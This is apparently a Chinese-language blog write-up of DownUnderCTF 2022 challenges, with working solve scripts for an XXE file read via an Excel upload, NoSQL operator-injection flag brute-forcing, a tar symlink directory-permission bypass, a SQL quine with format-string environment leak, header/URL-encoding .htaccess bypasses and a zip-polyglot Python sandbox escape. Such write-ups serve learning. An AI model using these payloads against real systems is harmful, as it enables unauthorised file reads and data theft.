DownUnderCTF 2022 Writeups
Yet another CTF writeups ;)
Intro
久違的用e^iπ+1day
的隊名自已打CTF,
雖然這次沒有解很多題,但是學到了不少,以下紀錄一些我有解掉的題目和有一題差一點解掉但有趣的題目
helicoptering (Web)
Overview
flag被切成兩半,一半放在/one/flag.txt
,另一半放在/two/flag.txt
兩個都會靠.htaccess
去阻擋request,.htaccess
分別為:
/one/.htaccess
:
RewriteEngine On
RewriteCond %{HTTP_HOST} !^localhost$
RewriteRule ".*" "-" [F]
/two/.htaccess
:
RewriteEngine On
RewriteCond %{THE_REQUEST} flag
RewriteRule ".*" "-" [F]
Solution
水題,讀一讀.htaccess
的規則就能解了
part one可以靠改Host
header繞過:
GET /one/flag.txt HTTP/1.1
Host: localhost
Connection: close
part two可以靠改urlencode繞過:
GET /two/%66lag.txt HTTP/1.1
Host: 34.87.217.252:30026
Connection: close
flag: DUCTF{thats_it_next_time_im_using_nginx}
dyslexxec (web)
Overview
這題題目的code看起來很雜,但實際上server在做的事就是在讀excel檔的metadata而已
WORKBOOK = "xl/workbook.xml"
@app.route("/downloads/fizzbuzz")
def return_fizzbuzz():
return send_file("./fizzbuzz.xlsm")
@app.route("/upload/testPandasImplementation")
def upload_file():
return render_template("upload.html")
@app.route("/metadata", methods = ['GET', 'POST'])
def view_metadata():
if request.method == "GET":
return render_template("error_upload.html")
if request.method == "POST":
f = request.files["file"]
tmpFolder = "./uploads/" + str(uuid.uuid4())
os.mkdir(tmpFolder)
filename = tmpFolder + "/" + secure_filename(f.filename)
f.save(filename)
try:
properties = getMetadata(filename)
extractWorkbook(filename, tmpFolder)
workbook = tmpFolder + "/" + WORKBOOK
properties.append(findInternalFilepath(workbook))
except Exception:
return render_template("error_upload.html")
finally:
shutil.rmtree(tmpFolder)
return render_template("metadata.html", items=properties)
可以觀察到在上傳檔案到/metadata
時,server會去parse excel檔的metadata
其中比較值得注意的是findInternalFilepath
的實作方式:
def findInternalFilepath(filename):
try:
prop = None
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
tree = etree.parse(filename, parser=parser)
root = tree.getroot()
internalNode = root.find(".//{http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac}absPath")
if internalNode != None:
prop = {
"Fieldname":"absPath",
"Attribute":internalNode.attrib["url"],
"Value":internalNode.text
}
return prop
except Exception:
print("couldnt extract absPath")
return None
此處特別用了lxml
的etree.XMLParser
去parsexl/workbook.xml
Solution
經典的XXE,由於parser開了load_dtd
和resolve_entities
,只需要在internalNode
裡面放可以讀檔的xxe payload即可:
xl/workbook.xml
(...
指的是其他不重要的東西,這個payload只需要修改server給的fizzbuzz.xlsm
即可):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [<!ENTITY file SYSTEM 'file:///etc/passwd'>]>
...
<x15ac:absPath url="/Users/Shared/" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac">&file;</x15ac:absPath>
...
solve.py
:
import requests
import os
URL = "https://web-dyslexxec-773a3cb4c483.2022.ductf.dev"
def main() -> None:
s = requests.Session()
if not os.path.exists("fizzbuzz.xlsm"):
r = s.get(URL + "/downloads/fizzbuzz")
with open("fizzbuzz.xlsm", "wb") as f:
f.write(r.content)
os.system("zip fizzbuzz.xlsm xl/workbook.xml")
with open("fizzbuzz.xlsm", "rb") as f:
r = s.post(URL + "/metadata", files={
"file": ("exploit.xlsm", f.read(), "application/vnd.ms-excel.sheet.macroEnabled.12")
})
print(r.text)
main()
flag: DUCTF{cexxelsyd_work_my_dyslexxec_friend}
noteworthy (web)
Overview
首先server會利用mongodb創建一個屬於admin的note,且裡面放了flag:
let admin = await User.findOne({ username: 'admin' })
if(!admin) {
admin = new User({ username: 'admin' })
await admin.save()
}
let note = await Note.findOne({ noteId: 1337 })
if(!note) {
const FLAG = process.env.FLAG || 'DUCTF{test_flag}'
note = new Note({ owner: admin._id, noteId: 1337, contents: FLAG })
await note.save()
admin.notes.push(note)
await admin.save()
}
所以目標很明確,就是想辦法把admin的note弄出來
而查看note中的內容的功能主要寫在/edit
這個route底下:
router.post('/edit', ensureAuthed, async (req, res, next) => {
let q = req.query
try {
if('noteId' in q && parseInt(q.noteId) != NaN) {
const note = await Note.findOne(q)
if(!note) {
return next({ message: 'Note does not exist!' })
}
if(note.owner.toString() != req.user.userId.toString()) {
return next({ message: 'You are not the owner of this note!' })
}
let { contents } = req.body
if(!contents || contents.length > 200) {
return next({ message: 'Invalid contents' })
}
contents = contents.toString()
note.contents = contents
await note.save()
return res.json({ success: true, message: 'Note edited.' })
} else {
return next({ message: 'Invalid request' })
}
} catch(e) {
return next({ message: 'Invalid request' })
}
})
Solution
可以發現,server在用mongodb query note的時候是直接把req.query
當成findOne
的query
parameter
let q = req.query
try {
if('noteId' in q && parseInt(q.noteId) != NaN) {
const note = await Note.findOne(q)
...
且可以發現,這個server在處理?a[][b]=c
這種query時,實際上會parse成:
{
a: [
{
b: "c"
}
]
}
所以當我們輸入?$and[][contents][$gt]=UCTF{¬eId=1337
時,server會執行
const note = await Note.findOne(
{
$and: [
{
contents: {
$gt: "UCTF"
}
}
],
noteId: 1337
}
)
findOne
API 詳見 mongodb的doc
這時,因為UCTF{REAL_FLAG}
> UCTF{
,所以$and
的結果成立
server會執行這一段code:
if(note.owner.toString() != req.user.userId.toString()) {
return next({ message: 'You are not the owner of this note!' })
}
故server會順利fetch到noteId為1337的note,且我們會在response中看到You are not the owner of this note!
的訊息
但當我們執行以下的query時:
const note = await Note.findOne(
{
$and: [
{
contents: {
$gt: "UCTX"
}
}
],
noteId: 1337
}
)
由於X
> F
,所以UCTF{REAL_FLAG}
<UCTX
,$and
的結果是不成立的
故server會執行這段code:
if(!note) {
return next({ message: 'Note does not exist!' })
}
我們看到的訊息會是Note does not exist!
所以依靠這個方式,我們就能靠response的不同,爆破flag的內容
以下是solve script:
import requests
import secrets
import string
URL = "https://web-noteworthy-873b7c844f49.2022.ductf.dev"
chs = string.ascii_lowercase + string.ascii_uppercase + string.digits + "'.+-!@#$%?_"
chs = sorted(chs)
def is_query_success(s:requests.Session, query:str) -> bool:
r = s.post(URL + "/edit", params={
"noteId": "1337",
"$and[][contents][$gt]": query,
})
return "Note does not exist!" not in r.text and "You are not the owner of this note!" in r.text
def sanity_check(s:requests.Session) -> None:
if is_query_success(s, "ZZZZZZZZZ") or not is_query_success(s, "DUCTF{"):
print("Sanity check failed!")
exit(1)
print("Sanity check passed! Let's go!")
def main() -> None:
s = requests.Session()
r = s.post(URL + "/register", json={
"username": secrets.token_hex(16),
"password": secrets.token_hex(16),
})
assert r.json()["success"] == True
flag = "DUCTF{" # DUCTF{n0sql1_1s_th3_new_5qli}
sanity_check(s)
while not flag.endswith("}"):
found = False
for i, c in enumerate(chs):
print("Trying:", flag + c)
if not is_query_success(s, flag + c):
flag += chs[i - 1]
print("Found:", flag)
found = True
break
if not found:
flag += "}"
print("Found:", flag)
print("Flag:", flag)
main()
flag: DUCTF{n0sql1_1s_th3_new_5qli}
no-symlink (web)
Overview
這題的server是用ruby寫的,主要的code是:
post '/' do
unless params[:tarfile] && (tempfile = params[:tarfile][:tempfile])
return err "File not sent"
end
unless tempfile.size <= 10240
return err "File too big"
end
path = SecureRandom.hex 16
unless Dir.mkdir "uploads/#{path}", 0755
return err "Error creating directory"
end
unless system "tar -xvf #{tempfile.path} -C uploads/#{path}"
return err "Error extracting tar file"
end
links = Dir.glob("uploads/#{path}/**/*", File::FNM_DOTMATCH).select do |f|
# Don't show . or ..
if [".", ".."].include? File.basename f
false
# Don't show symlinks. Additionally delete them, they may be unsafe
elsif File.symlink? f
File.unlink f
false
# Don't show directories (but show files under them)
elsif File.directory? f
false
# Show everything else
else
true
end
end
return ok links
end
get '/uploads/*' do
filepath = "uploads/#{::Rack::Utils.clean_path_info params['splat'].first}"
halt 404 unless File.file? filepath
send_file filepath
end
server會給你上傳一個tar,解壓之後會glob解壓的目錄底下的所有檔案,unlink所有symlink
Solution
比賽時我只有嘗試改symlink的mode,所以最後沒有解出來
最後的解法其實是:
若一個目錄沒有read權限,glob是找不到裡面有哪些東西的!
所以只需要把flag的symlink藏在那個folder中,即可繞過檢查
solve.py
:
import requests
import tarfile
from io import BytesIO
import re
URL = "https://web-no-symlink-821c2e0dbc5e.2022.ductf.dev/"
def create_tarfile():
with tarfile.open("tarfile.tar", "w") as tar:
txt = tarfile.TarInfo("test.txt")
txt.size = len("test")
tar.addfile(txt, BytesIO(b"test"))
dir = tarfile.TarInfo("dir/")
dir.type = tarfile.DIRTYPE
# execute only
dir.mode = 0o100
tar.addfile(dir)
flag = tarfile.TarInfo("dir/flag")
flag.type = tarfile.SYMTYPE
flag.linkname = "/flag"
tar.addfile(flag)
def main():
create_tarfile()
with open("tarfile.tar", "rb") as f:
r = requests.post(URL, files={"tarfile": f})
# print(r.text)
folder = re.search(r"uploads/(\w+)/test\.txt", r.text).group(1)
print(requests.get(URL + "uploads/" + folder + "/dir/flag").text)
# DUCTF{are_symlinks_really_worth_the_trouble_they_cause?????}
main()
flag: DUCTF{are_symlinks_really_worth_the_trouble_they_cause?????}
sqli2022
Overview
這題的code很簡單,基本上就是有一個很明顯的sql injection漏洞,但server會去確認query的結果和post request的內容是不是一樣的
@app.route('/', methods=['POST'])
def root_post():
post = request.form
# Sent params?
if 'username' not in post or 'password' not in post:
return 'Username or password missing from request'
# We are recreating this every request
con = sqlite3.connect(':memory:')
cur = con.cursor()
cur.execute('CREATE TABLE users (username TEXT, password TEXT)')
cur.execute(
'INSERT INTO users VALUES ("admin", ?)',
[hashlib.md5(os.environ['FLAG'].encode()).hexdigest()]
)
query = 'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'.format(post=post)
output = cur.execute(
'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
.format(post=post)
).fetchone()
# Credentials OK?
if output is None:
return 'Wrong credentials'
# Nothing suspicious?
username, password = output
if username != post["username"] or password != post["password"]:
return 'Wrong credentials (are we being hacked?)'
# Everything is all good
return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)
Solution
這題和2020年的AIS3 EOF Qual的Cyberpunk 1977非常像
一樣分為兩個步驟SQL Quine
和format string的洞
SQL Quine的部分我到現在還是沒辦法自己寫出來…,所以我是直接修改splitline的Cyberpunk 1977的exploit
但
!r
把這題弄的很麻煩,所以修payload的過程真的痛苦…
format string的部分就簡單了,可以觀察到:
return f'Welcome back {post["username"]}! The flag is in FLAG.'.format(post=post)
會把post["username"]
先用f-string放進那一段字串中,再使用.format
去把request.post
放進去
debug一下可以發現,可以利用request.post.pop.__globals__['os'].environ['FLAG']
拿到flag
所以我們只需要讓username等於{post.pop.__globals__[os].environ[FLAG]}
,即可拿到flag
最後的solve.py
:
import requests
URL = "https://web-sqli2022-85d13aec009e.2022.ductf.dev/"
# URL = "http://127.0.0.1:5000"
def main() -> None:
username = "{post.pop.__globals__[os].environ[FLAG]}"
query = f'\'UNION SELECT "{username}",substr(query,2,###)||char(34)||replace(substr(query,2),char(34),char(34)||char(34))||char(34)||substr(query,@@@)'
password = f"""
{query} FROM(SELECT "{query.replace('"','""')} FROM(SELECT as query)--" as query)--
""".strip()
offset = password.index('"\x27UNION')
password = password.replace("###", str(offset)).replace("@@@", str(offset + 1))
print("username:")
print(username)
print("password:")
print(password)
server_query = "SELECT * FROM users WHERE username = {username!r} AND password = {password!r}".format(
username=username, password=password
)
print("server query:")
print(server_query)
r = requests.post(URL, data={"username": username, "password": password})
print(r.text) # DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}
main()
flag: DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}
source provided (reverse)
Overview
這題是用x86 asm寫的程式
SECTION .data
c db 0xc4, 0xda, 0xc5, 0xdb, 0xce, 0x80, 0xf8, 0x3e, 0x82, 0xe8, 0xf7, 0x82, 0xef, 0xc0, 0xf3, 0x86, 0x89, 0xf0, 0xc7, 0xf9, 0xf7, 0x92, 0xca, 0x8c, 0xfb, 0xfc, 0xff, 0x89, 0xff, 0x93, 0xd1, 0xd7, 0x84, 0x80, 0x87, 0x9a, 0x9b, 0xd8, 0x97, 0x89, 0x94, 0xa6, 0x89, 0x9d, 0xdd, 0x94, 0x9a, 0xa7, 0xf3, 0xb2
SECTION .text
global main
main:
xor rax, rax
xor rdi, rdi
mov rdx, 0x32
sub rsp, 0x32
mov rsp, rsi
syscall
mov r10, 0
l:
movzx r11, byte [rsp + r10]
movzx r12, byte [c + r10]
add r11, r10
add r11, 0x42
xor r11, 0x42
and r11, 0xff
cmp r11, r12
jne b
add r10, 1
cmp r10, 0x32
jne l
mov rax, 0x3c
mov rdi, 0
syscall
b:
mov rax, 0x3c
mov rdi, 1
syscall
Solution
目標是讓r11和r12 cmp完不要jump到b
,依照這個邏輯,直接上z3就行了
solve.py
:
from z3 import *
import string
c = [0xc4, 0xda, 0xc5, 0xdb, 0xce, 0x80, 0xf8, 0x3e, 0x82, 0xe8, 0xf7, 0x82, 0xef, 0xc0, 0xf3, 0x86, 0x89, 0xf0, 0xc7, 0xf9, 0xf7, 0x92, 0xca, 0x8c, 0xfb, 0xfc, 0xff, 0x89, 0xff, 0x93, 0xd1, 0xd7, 0x84, 0x80, 0x87, 0x9a, 0x9b, 0xd8, 0x97, 0x89, 0x94, 0xa6, 0x89, 0x9d, 0xdd, 0x94, 0x9a, 0xa7, 0xf3, 0xb2]
chs = string.printable.encode()
def main() -> None:
s = Solver()
flag = [BitVec(f"flag{i}", 10) for i in range(50)]
for i, ch in enumerate("DUCTF{"):
s.add(flag[i] == ord(ch))
s.add(flag[-1] == ord("}"))
for f in flag:
s.add(Or([f == ch for ch in chs]))
# print(s)
for r10 in range(50):
r11 = flag[r10]
r12 = c[r10]
'''
add r11, r10
add r11, 0x42
xor r11, 0x42
and r11, 0xff
cmp r11, r12
'''
r11 = r11 + r10 + 0x42
r11 = r11 ^ 0x42
r11 = r11 & 0xff
s.add(r11 == r12)
if s.check() == sat:
m = s.model()
print(bytes([m[f].as_long() for f in flag]).decode())
if __name__ == "__main__":
main()
flag: DUCTF{r3v_is_3asy_1f_y0u_can_r34d_ass3mbly_r1ght?}
baby arx (crypto)
Overview
題目會把flag當成key做stream cipher
class baby_arx():
def __init__(self, key):
assert len(key) == 64
self.state = list(key)
def b(self):
b1 = self.state[0]
b2 = self.state[1]
b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xff
b2 = (b2 ^ ((b2 >> 5) | (b2 << 3))) & 0xff
b = (b1 + b2) % 256
self.state = self.state[1:] + [b]
return b
def stream(self, n):
return bytes([self.b() for _ in range(n)])
FLAG = open('./flag.txt', 'rb').read().strip()
cipher = baby_arx(FLAG)
out = cipher.stream(64).hex()
print(out)
# cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b
Solution
因為我們知道flag的開頭是DUCTF{
,所以是有可能暴力恢復明文的
這裡再次使用z3去爆破
需要注意的時是我當時卡了一陣子,因為BitVec的bits數我一開始只設定8,導致有些超過8 bits的數算不出來,最後改成10bits就可以了
solve.py
:
from z3 import *
import string
chs = string.printable
chs = sorted(chs.encode())
def main() -> None:
s = Solver()
flag = [BitVec(f"flag_{i}", 10) for i in range(64)]
state = flag.copy()
output = "cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b"
output = bytes.fromhex(output)
# print("ouptut:", output)
assert len(output) == 64
for i, c in enumerate(b"DUCTF{"):
s.add(flag[i] == c)
s.add(flag[-1] == ord("}"))
# print(s)
for i in range(64):
s.add(Or([flag[i] == c for c in chs]))
b1 = state[0]
b2 = state[1]
b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xFF
b2 = (b2 ^ ((b2 >> 5) | (b2 << 3))) & 0xFF
b = (b1 + b2) % 256
state = state[1:] + [b]
s.add(b == output[i])
# print(s)
assert s.check() == sat
# while s.check() == sat:
if s.check() == sat:
flag_str = "".join(chr(s.model()[f].as_long()) for f in flag)
print(flag_str)
# s.add(Or([f != s.model()[f] for f in flag]))
main()
flag: DUCTF{i_d0nt_th1nk_th4ts_h0w_1t_w0rks_actu4lly_92f45fb961ecf420}
Not a pyjail (misc)
Overview
Server會在你輸入的Python code的最前面插入exit(0)\n
,之後寫入一個temp file後用python <script>
的方式去run他,如果有stderr的話就輸出
#!/usr/bin/env python3
import subprocess
import sys
import tempfile
print("Welcome to the Python syntax checking service!")
print("The safest code is the code you don't even execute.")
print("Enter your code. Write __EOF__ to end.")
code = b"exit(0)\n"
for line in sys.stdin.buffer:
if line.strip() == b"__EOF__":
break
code += line
with tempfile.NamedTemporaryFile() as sandbox:
sandbox.write(code)
sandbox.flush()
pipes = subprocess.Popen(["python3", sandbox.name], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
_, stderr = pipes.communicate()
if pipes.returncode == 0:
print("Syntax OK!")
else:
print("There was an error:")
print(stderr.decode())
Solution
看起來不太可能可以執行任意的Python code,因為一開始就exit(0)
了
但實際上,若仔細看Python的document,可以發現:
https://docs.python.org/3/using/cmdline.html#interface-options
<script>
Execute the Python code contained in script, which must be a filesystem path (absolute or relative) referring to either a Python file, a directory containing a
__main__.py
file, or a zipfile containing a__main__.py
file.
可以注意到,python的script不僅支援一般文字檔的script,還支持目錄或是zipfile!
但這有什麼用呢?
若有玩過2021 0ctf的1linephp的話,應該還記得zip檔其實是很鬆散的,
且因爲zip是從檔案的後面開始讀,所以他的prefix不一定要是PK......
,可以是任意的字元
相關的writeup和zip的構造方法可以看perfect blue的writeup
故綜合上述資訊,我們只需要構造一個包含__main__.py
的zip檔,且prefix為exit(0)\n
即可,最後切掉exit(0)\n
後送出就可以了任意執行Python code了
後來跟maple3142討論才知道,其實根本不用去fix那個zip,直接把zip整個塞到
exit(0)\n
後面也能成功 lol
過了這一關後,還有另一個小問題是server似乎沒有對外連線,所以沒辦法寫reverse shell出來,
但由於server會把stderr的東西print出來,所以只需要透過stderr把flag送出來即可(這裡我利用raise Exception(FLAG)
)
solve script:
import os
from pwn import *
# context.log_level = "debug"
def main():
with open("__main__.py", "w") as f:
f.write("raise Exception(open('/chal/flag.txt').read())")
if os.path.exists("a.zip"):
os.remove("a.zip")
os.system("zip a.zip __main__.py")
os.system("echo 'exit(0)' > f")
os.system("printf AA >> f")
os.system("cat f a.zip > b.zip")
os.system("zip -F b.zip --out c.zip")
io = remote("2022.ductf.dev", 30002)
with open("c.zip", "rb") as f:
payload = f.read()
payload = payload[len("exit(0)\n") :]
io.sendlineafter(b"Write __EOF__ to end.", payload)
io.sendline(b"__EOF__")
io.interactive() # Exception: DUCTF{next_time_ill_just_use_ast.parse}
if __name__ == "__main__":
main()
flag: DUCTF{next_time_ill_just_use_ast.parse}
Summary
這場的題目很多,但最後很可惜,沒解幾題(有些沒source code的web真的好難解…)
不過還是學到不少東西: tar和linux的相關知識、z3的操作、SQL Quine等等,總體來說是很不錯的一場CTF!